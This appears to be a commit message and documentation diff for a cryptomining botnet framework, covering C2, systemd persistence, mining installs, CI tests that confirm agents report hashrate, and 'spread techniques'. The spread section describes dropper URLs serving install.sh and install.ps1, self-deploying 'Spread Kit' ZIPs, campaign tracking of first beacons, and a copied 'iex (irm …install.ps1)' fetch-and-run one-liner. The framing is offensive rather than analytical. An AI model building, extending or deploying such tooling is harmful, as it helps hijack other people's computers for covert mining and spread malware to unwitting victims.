feat: alive UI wave, galaxy presence, spread and fleet enhancements

Dashboard ambient layer, comrade presence, Mission Deck and War Room, Emberwake supply chain, spread/docs publishing, fleet policy and modules API, CI docker mining, and refreshed USB pack.

docs/E2E_VALIDATION.md

@@ -73,15 +73,26 @@ Good for **C2 path**, basic recon, mining install, systemd persistence — **not
 
 **Option A — Docker (isolated bridge, recommended for CI)**
 
+```bash
+# Automated proof (compose up + assert + teardown)
+scripts/ci-docker-mining.sh          # Linux / macOS / GHA
+.\scripts\ci-docker-mining.ps1       # Windows + Docker Desktop
+```
+
+Or interactive:
+
 ```bash
 docker compose -f docker/docker-compose.yml up --build
 ```
 
 - Server on host port **18989**; dashboard `testuser` / `testpass` (see `docker/data/users.json`).
+- Fleet secret `e2e-docker-fleet-secret-fixed001` in `docker/data/config.json` + `docker/agent-builtin.go`.
 - Test wallet in `docker/data/config.json` and `docker/agent-builtin.go` (see E2E test address in security rules above).
 - Agent container has **no internet egress** — mines via server-broadcast jobs only.
 - RandomX is pure Go (`go-randomx`); agent image needs **no CGO**.
-- Verify: Fleet Roster shows `docker-e2e-linux`; hashrate fields populate after ~30s.
+- **Assert logic:** `GET /api/v1/health` → `GET /api/v1/agents` (Basic auth) finds `status=online` with `hashrate_15s|1m|15m > 0`, or `GET /api/v1/dashboard/stats` shows `online_agents >= 1` and `total_hashrate > 0`. Waits up to **3 minutes**.
+- GitHub Actions: `.github/workflows/ci-docker-mining.yml` on every push (`ubuntu-latest`).
+- Verify manually: Fleet Roster shows `docker-e2e-linux`; hashrate fields populate after ~30s.
 - Teardown: `docker compose -f docker/docker-compose.yml down --rmi local -v`
 
 Full notes: [`docker/README.md`](../docker/README.md).
@@ -267,6 +278,8 @@ Get-Content ".\data-e2e\logs\<agent-id>.log" -Tail 100
 | `agent/cmd/mine-validate` | 0 | Mining only |
 | `test.bat` / `scripts/test-suite.ps1` | 1 | Full automated suite |
 | `scripts/smoke-test.ps1` | 1 | REST B-01–B-10 |
+| `scripts/ci-docker-mining.sh` / `.ps1` | 2 | Docker Linux agent hashrate proof |
+| `.github/workflows/ci-docker-mining.yml` | 2 | GHA push gate |
 | `server/web/e2e/*.spec.ts` | 1 | Dashboard smoke (mocked WS) |
 | `docs/TEST_RESULTS.md` | 1–3 | Matrix IDs; M-01–M-09 manual |
 | `devrun.bat` | 2–3 | Build + launch control server |

docs/SPREAD_TECHNIQUES.md

@@ -72,7 +72,8 @@
 - **Dropper URL:** `GET /get`, `GET /install.sh`, `GET /install.ps1` — UA platform detect, `?pin={build_id}`, `?c={campaign}` ([`dropper_handler.go`](../server/internal/api/dropper_handler.go))
 - **Forge outputs:** single-platform exe, **Spread Kit** ZIP (`Deploy.bat`, `deploy.sh`, `Start.command`), **Fusion** media packages
 - **Public downloads:** `GET /api/v1/public/download/{id}?c=` with campaign logging
-- **Campaign analytics:** `campaign_hits` table, `GET /api/v1/emberwake/campaigns`, agent `campaign` field on register
+- **Campaign analytics:** `campaign_hits` table with `event_type`, `GET /api/v1/emberwake/war-room?days=7` (first_beacon, mining stages), agent `campaign` field on register
+- **Campaign War Room UI:** Emberwake funnel board + stats table toggle; 15s poll + WS `emberwake_war_room`
 - **Build Manager UI:** copies `iex (irm '…/install.ps1')`, pin/active dropper
 - **Spread funnel dashboard:** install connects by build (7d)